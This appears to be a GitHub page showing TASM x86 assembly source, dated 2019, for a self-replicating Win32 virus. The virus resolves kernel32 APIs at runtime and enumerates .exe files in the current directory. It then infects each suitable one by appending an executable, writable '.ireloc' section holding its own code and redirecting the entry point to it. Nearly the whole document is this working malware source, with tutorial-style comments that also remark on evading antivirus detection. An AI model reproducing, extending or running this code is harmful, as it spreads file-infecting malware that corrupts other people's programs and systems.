Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
672 lines (587 sloc) 21.4 KB
;
; (C) CPU - 25-08-2019
;
.386
warn pro
locals
.model flat, stdcall
assume fs:nothing
include windows.inc
include macros.inc
include epjector.inc
; The Generation 0 infector needs a data section even though the
; virus code won't reference it. Without a data section I found
; tasm/tlink will not properly setup the gen0 executable and
; crashes will ensue.
;
; TODO(@CPU): It would be nice to have a more satisfying answer
; for what tasm/tlink skips without this dummy section.
;
.data
DB ?
; For similar not-fully-understood reasons we need an extern or
; gen0 will fault with an access violation.
;
; TODO(@cpu): Figure this out too!
extern AddAtomA:PROC
.code
start:
viral_payload:
; Before anything else, compute the delta offset. This is the secret
; to position independence.
;
; TODO(@CPU): Use a less vanilla method of delta offset calculation. This
; approach is what every AV on earth will be expecting.
call @@delta
@@delta:
pop ebp
sub ebp, offset @@delta
; ebp is now the ~*[ holy delta offset ]*~
; we will preserve this register throughout execution.
; If this is not generation 0 then the originalEntryPoint variable will have
; been set when the currently executing PE was infected. We need to stash that
; somewhere we can JMP to later. We'll be writing over originalEntryPoint when
; we find a target to infect and propagate another generation.
@@saveoep:
mov eax, [ebp + originalEntryPoint]
mov [ebp + savedEntryPoint], eax
; First we need to find kernel32.dll's base address. We can take advantage
; of the fact that the kernel calls the program entrypoint to do this.
; Since the kernel CreateProcess function called this program's entrypoint
; the return address on the top of the stack will be somewhere in kernel32.dll
; address space and we can search from there for the start of a PE header to get
; the base kernel32.dll address.
@@findkernel32:
; Put the top of the stack into esi. This is the return address for the
; CreateProcess function call one frame above us.
mov esi, dword ptr [esp]
; We know the DLL is section aligned so clear out the lower byte of ESI
and esi, 0FFFF0000h
@@findpe:
; If ESI points at the value 'MZ' we know its the base addr of kernel32.dll
cmp word ptr (IMAGE_DOS_HEADER [esi]).Magic, IMAGE_DOS_SIGNATURE
je @@findgetprocaddr
; Otherwise move back the section alignment and try again
sub esi, PE_SECTION_ALIGNMENT
jmp @@findpe
; Now we need to find the kernel32 GetProcAddress API function pointer.
; We can use this to bootstrap all of the other required APIs without
; hardcoding any offsets.
@@findgetprocaddr:
; Save the Kernel32.dll base addr
mov [ebp + kernel32Base], esi
mov eax, esi
; Advance past the end of the IMAGE_DOS_HEADER structure to the
; IMAGE_NT_HEADERS
add esi, (IMAGE_DOS_HEADER [esi]).e_lfanew
; Copy the RVA for the first DataDirectory from the PE header. The first
; DataDirectory is always the Export table DataDirectory. How convenient!
mov ebx, (IMAGE_NT_HEADERS [esi]).OptionalHeader.DataDirectory.VirtualAddress
; The data directory virtual address is an offset so we need to add the
; kernel32 base address to it
add ebx, eax
; Zero the index counter
xor edx, edx
@@checkexportname:
; Clear anything left in esi
xor esi, esi
; Put the base AddressOfNames address into esi
mov esi, (IMAGE_EXPORT_DIRECTORY [ebx]).AddressOfNames
; Offset esi by the edx-th name pointer to get the RVA
add esi, edx
; Adjust by kernel32.dll base
add esi, eax
; Deref the pointer to the RVA for the edx-th name
mov esi, [esi]
; Adjust by kernel32.dll base, and use the name address as the
; left side of the compare.
add esi, eax
; The right side of the compare is the getProcAddrName string
lea edi, [ebp + szGetProcAddress]
; Compare 16 bytes - the length of getProcAddrName and a null byte.
mov ecx, 0Fh
; Save esi so if the string matches we aren't one past the match.
push esi
repz cmpsb
pop esi
; If the compare is zero we found the AddressOfNames entry for GetProcAddress
; and can move on to finding the function pointer.
jz @@findordinal
; Otherwise we need to move forward one AddressOfNames entry (4 bytes)
; and try the compare again.
add edx, 4h
jmp @@checkexportname
; At this point esi points to a match for getProcAddrName
; and edx is the byte offset into AddressOfNames that matched.
;
; To map from the offset in AddressOfNames to the offset in
; AddressOfNameOrdinals we need to do some quick math.
;
; AddressOfNames entries are DWORDs while AddressOfNameOrdinals entries
; are WORDs so to convert the AddressOfNames offset to an
; AddressOfNameOrdinals offset we need to divide the offset by two.
@@findordinal:
; A shift and rotate to the right by 1 is a cheap divide by 2.
shr edx, 01h
; Get the RVA for the AddressOfNameOrdinals array
mov esi, (IMAGE_EXPORT_DIRECTORY [ebx]).AddressOfNameOrdinals
; Offset by the matching byte offset
add esi, edx
; Adjust by kernel32.dll base
add esi, eax
; Read the 2 byte ordinal for GetProcAddress
movzx edx, word ptr [esi]
; edx now holds the ordinal for GetProcAddress and we can use that
; as the offset to find the function pointer.
;
; To get an offset into AddressOfFunctions using the ordinal we need
; to multiply by the 4 because each AddressOfFunction entry is a DWORD.
@@findfunc:
; A shift and rotate to the left by 2 is a cheap multiply by 4.
shl edx, 02h
; Get the RVA for the AddressOfFunctions array
mov esi, (IMAGE_EXPORT_DIRECTORY [ebx]).AddressOfFunctions
; Offset by the matching byte offset
add esi, edx
; Adjust by kernel32.dll base
add esi, eax
; Read the function pointer RVA for GetProcAddress
mov esi, [esi]
; Adjust by kernel32.dll base
add esi, eax
; Woohoo. esi now finally holds the pointer to
; GetProcAddress in Kernel32.dll. Now we can bootstrap our win32
; APIs!
mov [ebp + GetProcAddress], esi
; With GetProcAddress in hand we can now "link" each of the REQUIRED_APIs
; This will populate the pointer variable for each function using GetProcAddress.
;
; NOTE(@cpu): Each of these LINK_API's macro invocations have a related
; DESC_RUNTIME_API and REQUIRED_API invocation.
@@linkapis:
LINK_API ExitProcess
LINK_API lstrcpy
LINK_API FindFirstFileA
LINK_API FindNextFileA
LINK_API CreateFileA
LINK_API GetFileSize
LINK_API CreateFileMappingA
LINK_API MapViewOfFile
LINK_API UnmapViewOfFile
LINK_API CloseHandle
LINK_API GetModuleHandleA
findfirst:
mov eax, offset infectFilter
add eax, ebp
mov ebx, offset findData
add ebx, ebp
CALL_RUNTIME_API FindFirstFileA, <eax, ebx>
; If we got an invalid handle from FindFirstFileA that means there were no EXEs
; in the directory. Jump to error to handle this case
cmp eax, INVALID_HANDLE_VALUE
je @@nofirst
mov [ebp + findHandle], eax
jmp targetfound
; If there isn't anything to infect, call the original OEP or exit
@@nofirst:
CALL_OEP
targetfound:
; Otherwise we have a potential .exe target to examine
; Copy the name of the file from the find data to our targetFile var.
mov eax, offset targetFile
add eax, ebp
mov ebx, offset findData.cFileName
add ebx, ebp
CALL_RUNTIME_API lstrcpy, <eax,ebx>
cmp eax, 0h
je error
; If there was no error, map the target file.
jmp mapfile
; If we're here it means the targetFile wasn't any good.
; Time to look at the next available .exe file using FindNextFile
findnext:
mov eax, [ebp + findHandle]
mov ebx, offset findData
add ebx, ebp
CALL_RUNTIME_API FindNextFileA, <eax,ebx>
cmp eax, 0h
je @@nonext
; If there was no error, we found a potential target. Jump back
; to targetFound.
jmp targetfound
; Otherwise we didn't find any more .exe files to look at.
; Call the original OEP or exit.
@@nonext:
CALL_OEP
; We found a targetfile and need to map it to examine whether its a good PE file.
mapfile:
; Open a file handle to the targetFile. Use READ + WRITE so we can modify the
; file easily if it turns out to be infectable.
; TODO(@cpu): Ideally we would also check that the file isn't marked Read Only.
; If it is read only we would need to remove that attribute first.
mov eax, offset targetFile
add eax, ebp
CALL_RUNTIME_API CreateFileA, <eax,GENERIC_READ + GENERIC_WRITE, 0h, 0h, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0h>
cmp eax, INVALID_HANDLE_VALUE
je findnext
mov [ebp + targetFileHandle], eax
; Get the target file's original size
CALL_RUNTIME_API GetFileSize, <eax, 0>
cmp eax, INVALID_HANDLE_VALUE
je findnext
mov [ebp + targetFileSize], eax
; The target file should at least be big enough for a full IMAGE_DOS_HEADER
cmp eax, size IMAGE_DOS_HEADER
jle error
; Create a read/write file mapping for the entire targetFile
; TODO(@cpu): I could probably be more surgical here and only map the
; area of the PE file that is manipulated on the first pass.
mov eax, [ebp + targetFileHandle]
CALL_RUNTIME_API CreateFileMappingA, <eax, 0h, PAGE_READWRITE, 0h, 0h, 0h>
cmp eax, 0h
je findnext
mov [ebp + targetMapHandle], eax
; Map the entire targetFile into memory
CALL_RUNTIME_API MapViewOfFile, <eax, FILE_MAP_WRITE, 0h, 0h, 0h>
cmp eax, 0h
je findnext
mov [ebp + targetP], eax
; With the target EXE mapped into memory we can start checking it out
@@checkdosheader:
; Check that we have a DOS header by looking for the IMAGE_DOS_SIGNATURE
; (the magic MZ bytes) at the expected offset
cmp (IMAGE_DOS_HEADER [eax]).e_magic, IMAGE_DOS_SIGNATURE
jnz findnext
; Advance past the end of the IMAGE_DOS_HEADER structure to the
; IMAGE_NT_HEADERS
add eax, (IMAGE_DOS_HEADER [eax]).e_lfanew
; Check that the offset specifed by e_lfanew isn't out of bounds for the
; file size
mov ecx, eax
sub ecx, [ebp + targetP]
cmp ecx, [ebp + targetFileSize]
jge findnext
; Check that there is enough room for an IMAGE_NT_HEADER
add ecx, size IMAGE_NT_HEADERS
cmp ecx, [ebp + targetFileSize]
jge findnext
@@checkpeheader:
; Check that we have a PE header by looking for the right magic
; bytes (PE) at the expected offset
cmp (IMAGE_NT_HEADERS [eax]).Signature, IMAGE_NT_SIGNATURE
jnz findnext
@@checksubsystem:
; We only want to infect GUI or Console apps, not device drivers,
; WinCE apps, etc
cmp (IMAGE_NT_HEADERS [eax]).OptionalHeader.Subsystem, IMAGE_SUBSYSTEM_WINDOWS_GUI
jz @@checkmachine
cmp (IMAGE_NT_HEADERS [eax]).OptionalHeader.Subsystem, IMAGE_SUBSYSTEM_WINDOWS_CUI
jnz findnext
@@checkmachine:
; We need to verify the PE is targetting a i386 machine.
cmp (IMAGE_NT_HEADERS [eax]).FileHeader.Machine, IMAGE_FILE_MACHINE_I386
jnz findnext
; At this point we've decided we have found a valid i386 PE and we can
; analyze it for infection.
@@analyzepe:
; Copy the original entrypoint address somewhere safe
mov ecx, (IMAGE_NT_HEADERS [eax]).OptionalHeader.AddressOfEntryPoint
mov [ebp + originalEntryPoint], ecx
; Copy the alignment values somewhere safe
mov ecx, (IMAGE_NT_HEADERS [eax]).OptionalHeader.SectionAlignment
mov [ebp + sectionAlignment], ecx
mov ecx, (IMAGE_NT_HEADERS [eax]).OptionalHeader.FileAlignment
mov [ebp + fileAlignment], ecx
; Copy down how many sections it has
mov cx, (IMAGE_NT_HEADERS [eax]).FileHeader.NumberOfSections
movzx ecx, cx
; If there are zero sections, something is fucky, move on
cmp ecx, 0h
je findnext
mov [ebp + numberOfSections], ecx
; Move ahead to the section table
add eax, size IMAGE_NT_HEADERS
; Check that the pointer is still within the file size
mov ecx, eax
sub ecx, [ebp + targetP]
cmp ecx, [ebp + targetFileSize]
jge findnext
; Check that the last segment specified is within the file size
mov ecx, [ebp + numberOfSections]
mov edx, size IMAGE_SECTION_HEADER
imul ecx, edx
mov ebx, eax
add ebx, ecx
sub ebx, [ebp + targetP]
cmp ebx, [ebp + targetFileSize]
jge findnext
; Save the location of the first section header
mov [ebp + segHeaders], eax
; The last segment header should be at an offset:
; sizeof IMAGE_SECTION_HEADER * numberOfSections - 1
mov ecx, [ebp + numberOfSections]
dec ecx
mov edx, size IMAGE_SECTION_HEADER
imul ecx, edx
; Its an RVA from targetP so offset by eax
mov edx, eax
add ecx, edx
; Store the location of the last segment header
mov [ebp + lastSegHeader], ecx
; We don't want to reinfect a file. Check if the last segment's name is
; equal to newSegName. If it is, move on.
@@checkforinfection:
; Save register state so if this check passes we can easily restore
pusha
; Compare the last segment's name with the newSegName
mov esi, ecx
mov edi, offset newSegName
add edi, ebp
mov ecx, newSegNameEnd - newSegName
repz cmpsb
; If it is equal, then we've already infected this file.
; Find a different one
jz findnext
popa
; Check there is room for a new seg header. We can tell if there's no
; room if the end of the IMAGE_SECTION_HEADER is larger than the first section's
; pointer to raw data.
; TODO(@CPU): The above is only true most of the time... A better idea (more work...)
; would be to search all of the section header's for the one with the lowest
; PointerToRawData and check against it. Ignoring for now because this is super
; corner-casey and I'm a bit lazy!
mov ebx, [ebp + lastSegHeader]
add ebx, size IMAGE_SECTION_HEADER
mov edx, [ebp + segHeaders]
mov edx, (IMAGE_SECTION_HEADER [edx]).PointerToRawData
add edx, [ebp + targetP]
cmp ebx, edx
jge findnext
; Create a new section header for our injected section by copying
; the target's first section header and then fixing it up.
@@addsegheader:
mov ecx, size IMAGE_SECTION_HEADER ; Size = 1 header worth
mov edi, [ebp + lastSegHeader] ; DEST = ECX = Last header start
add edi, ecx ; DEST = Last header end
mov esi, [ebp + segHeaders] ; Source = First segment header
mov ebx, edi
@@copyheader:
lodsb
stosb
dec ecx
jnz @@copyheader
; We need to customize the header we just copied
@@fixupheader:
; Move back to the beginning of the new header
sub edi, size IMAGE_SECTION_HEADER
; Fix the segment name by writing newSegName on top of the old name
mov eax, offset newSegName
add eax, ebp
CALL_RUNTIME_API lstrcpy, <edi, eax>
cmp eax, 0h
je findnext
; Fix the VirtualSize, ensuring its a multiple of the section alignment
mov eax, viral_payload_size
sub eax, 1
xor edx, edx
div [ebp + sectionAlignment]
add eax, 1
mul [ebp + sectionAlignment]
mov (IMAGE_SECTION_HEADER [edi]).VirtualSize, eax
; Fix the virtual address, again ensuring section alignment
mov ecx, [ebp + lastSegHeader]
mov eax, (IMAGE_SECTION_HEADER [ecx]).VirtualSize
mov ecx, (IMAGE_SECTION_HEADER [ecx]).SecHdrVirtualAddress
add eax, ecx
sub eax, 1
xor edx, edx
div [ebp + sectionAlignment]
add eax, 1
mul [ebp + sectionAlignment]
mov [edi].SecHdrVirtualAddress, eax
; Temporarily move back to the start of the PE file to fix a few things
mov ecx, [ebp + targetP]
add ecx, (IMAGE_DOS_HEADER [ecx]).e_lfanew
; While we have the virtual address pointer handy patch the entrypoint
mov (IMAGE_NT_HEADERS [ecx]).OptionalHeader.AddressOfEntryPoint, eax
; and increment the number of sections
mov eax, [ebp + numberOfSections]
inc eax
; Set the number of sections to the new number
mov (IMAGE_NT_HEADERS [ecx]).FileHeader.NumberOfSections, ax
; Fix the raw data size, ensuring it is a multiple of the file alignment
mov eax, viral_payload_size
sub eax, 1
xor edx, edx
div [ebp + fileAlignment]
add eax, 1
mul [ebp + fileAlignment]
mov (IMAGE_SECTION_HEADER [edi]).SizeOfRawData, eax
; Fix the raw data pointer - this should point to the beginning of the
; new section, which is located right after the end of the current last
; section. Adding the last section's PointerToRawData (the start of the
; last section) to SizeOfRawData gives us this address.
mov ebx, [ebp + lastSegHeader]
mov eax, (IMAGE_SECTION_HEADER [ebx]).PointerToRawData
add eax, (IMAGE_SECTION_HEADER [ebx]).SizeOfRawData
mov (IMAGE_SECTION_HEADER [edi]).PointerToRawData, eax
; Save the pointer to raw data and the size of the raw data
mov eax, (IMAGE_SECTION_HEADER [edi]).PointerToRawData
mov [ebp + injectStart], eax
mov eax, (IMAGE_SECTION_HEADER [edi]).SizeOfRawData
mov [ebp + injectSize], eax
; Fix the section flags. Notably we want this to be both EXECUTE and WRITE
mov ecx, IMAGE_SCN_MEM_READ + \
IMAGE_SCN_MEM_WRITE + \
IMAGE_SCN_MEM_EXECUTE + \
IMAGE_SCN_CNT_CODE
mov (IMAGE_SECTION_HEADER [edi]).SecHdrCharacteristics, ecx
; We've added a section header to the file. Time to unmap & remap with an inflated
; size big enough to fit the new section contents.
@@cleanup:
; Unmap the target
mov eax, [ebp + targetP]
CALL_RUNTIME_API UnmapViewOfFile, <eax>
cmp eax, 0h
je error
; Close the map handle
mov eax, [ebp + targetMapHandle]
CALL_RUNTIME_API CloseHandle, <eax>
cmp eax, 0h
je error
; NOTE(@CPU): We don't close the target file handlehere because we can reuse it
; for the remap operation.
; Calculate the new size we should map. This is the old target size +
; the size of the new section on-disk
mov eax, [ebp + targetFileSize]
mov ecx, [ebp + injectSize]
add eax, ecx
mov ebx, [ebp + targetFileHandle]
; Memory map the target PE file again with this new size
CALL_RUNTIME_API CreateFileMappingA, <ebx, 0h, PAGE_READWRITE, 0h, eax, 0h>
cmp eax, 0h
je error
; Save a handle to the new memory map
mov [ebp + targetMapHandle], eax
; Map a full view of the resized PE
CALL_RUNTIME_API MapViewOfFile, <eax, FILE_MAP_WRITE, 0, 0, 0>
cmp eax, 0h
je error
mov [ebp + targetP], eax
; zero the new segment area we'll write - this makes debugging much easier
; and ensures we don't put random bits of the host's memory into each new
; infection.
pusha
mov edi, eax
add edi, [ebp + injectStart]
mov ecx, [ebp + injectSize]
@@loopcopy:
mov eax, 0h
stosb
loop @@loopcopy
popa
; Time to write the new section content with our own code
@@startcopyviruscode:
; Destination: the start of our section in targetP
mov edi, eax
add edi, [ebp + injectStart]
; Source: the beginning of the virus code
mov esi, offset viral_payload
add esi, ebp
; Number of bytes to copy: size of the injected section
mov ecx, [ebp + injectSize]
; Copy the virus code into place
@@copyviruscode:
rep movsb
; All done! Clean up again closing handles/maps
@@cleanupagain:
; Unmap the target file
mov eax, [ebp + targetP]
CALL_RUNTIME_API UnmapViewOfFile, <eax>
cmp eax, 0h
je error
; Close the memory map handle
mov eax, [ebp + targetMapHandle]
CALL_RUNTIME_API CloseHandle, <eax>
cmp eax, 0h
je error
; Close the file handle
mov eax, [ebp + targetFileHandle]
CALL_RUNTIME_API CloseHandle, <eax>
cmp eax, 0h
je error
; Woohoo. The file is now infected with a new segment containing our virus. Nice!
@@finishedinfection:
; Move on to other targets
jmp findnext
; If we're here something has gone wrong or it is gen0 and there is no more work to do
; Try to use ExitProcess to terminate gracefully.
error:
; Check if we've already linked ExitProcess
mov eax, [ebp + ExitProcess]
cmp eax, 0h
; If we haven't our options are limited...
je diehard
exit:
; Call ExitProcess to gracefully shutdown
CALL_RUNTIME_API ExitProcess, <0h>, eax
diehard:
; Otherwise just ret and hope for the best...
ret
; We don't want a REAL data section because we want everything (code and data)
; to be in one section to make it easier to copy into a new PE EXE. We fake a
; data section by adding variables to the end of the .code section and making
; sure gen0 is modified at build-time to make .code writable. For gen > 0 the
; injected section is always writable because the virus code creates it that
; way.
_data:
; Space for a string and function pointer for each API resolved at runtime.
REQUIRED_API GetProcAddress
REQUIRED_API ExitProcess
REQUIRED_API lstrcpy
REQUIRED_API FindFirstFileA
REQUIRED_API FindNextFileA
REQUIRED_API CreateFileA
REQUIRED_API GetFileSize
REQUIRED_API CreateFileMappingA
REQUIRED_API MapViewOfFile
REQUIRED_API UnmapViewOfFile
REQUIRED_API CloseHandle
REQUIRED_API GetModuleHandleA
; Base address of kernel32.dll found at runtime
kernel32Base DD 0
; Data used by FindFirstFile and FindNextFile
findHandle HANDLE 0
findData WIN32_FIND_DATA <0>
infectFilter BYTE 2ah,2eh,65h,78h,65h,0h ; '*.exe\0'
; Data used for memory mapping target files
targetFile DB WIN32_MAX_PATHLEN dup(0)
targetFileHandle HANDLE 0
targetFileSize DD 0
targetMapHandle HANDLE 0
targetP DD 0
; Data used for important target file offsets/values
sectionAlignment DD 0
fileAlignment DD 0
segHeaders DD 0
lastSegHeader DD 0
numberOfSections DD 0
firstSegStart DD 0
; Original entry-point of the infected .exe (or null in generation 0)
originalEntryPoint DD 0
; Address we return control flow to after infecting (copy of original entry
; point)
savedEntryPoint DD 0
; Data used during injection
injectStart DD 0
injectSize DD 0
newSegName BYTE 2eh,69h,72h,65h,6ch,6fh,63h,0h ; '.ireloc\0'
newSegNameEnd:
; Use the `$` assembler macro for the current address at this point in the assembly
; process to calculate the virus size by subtracting the start address label.
viral_payload_size EQU $ - viral_payload
end_viral_payload:
end start
; TODO(@CPU): Is this `public` needed?
public start
end
You can’t perform that action at this time.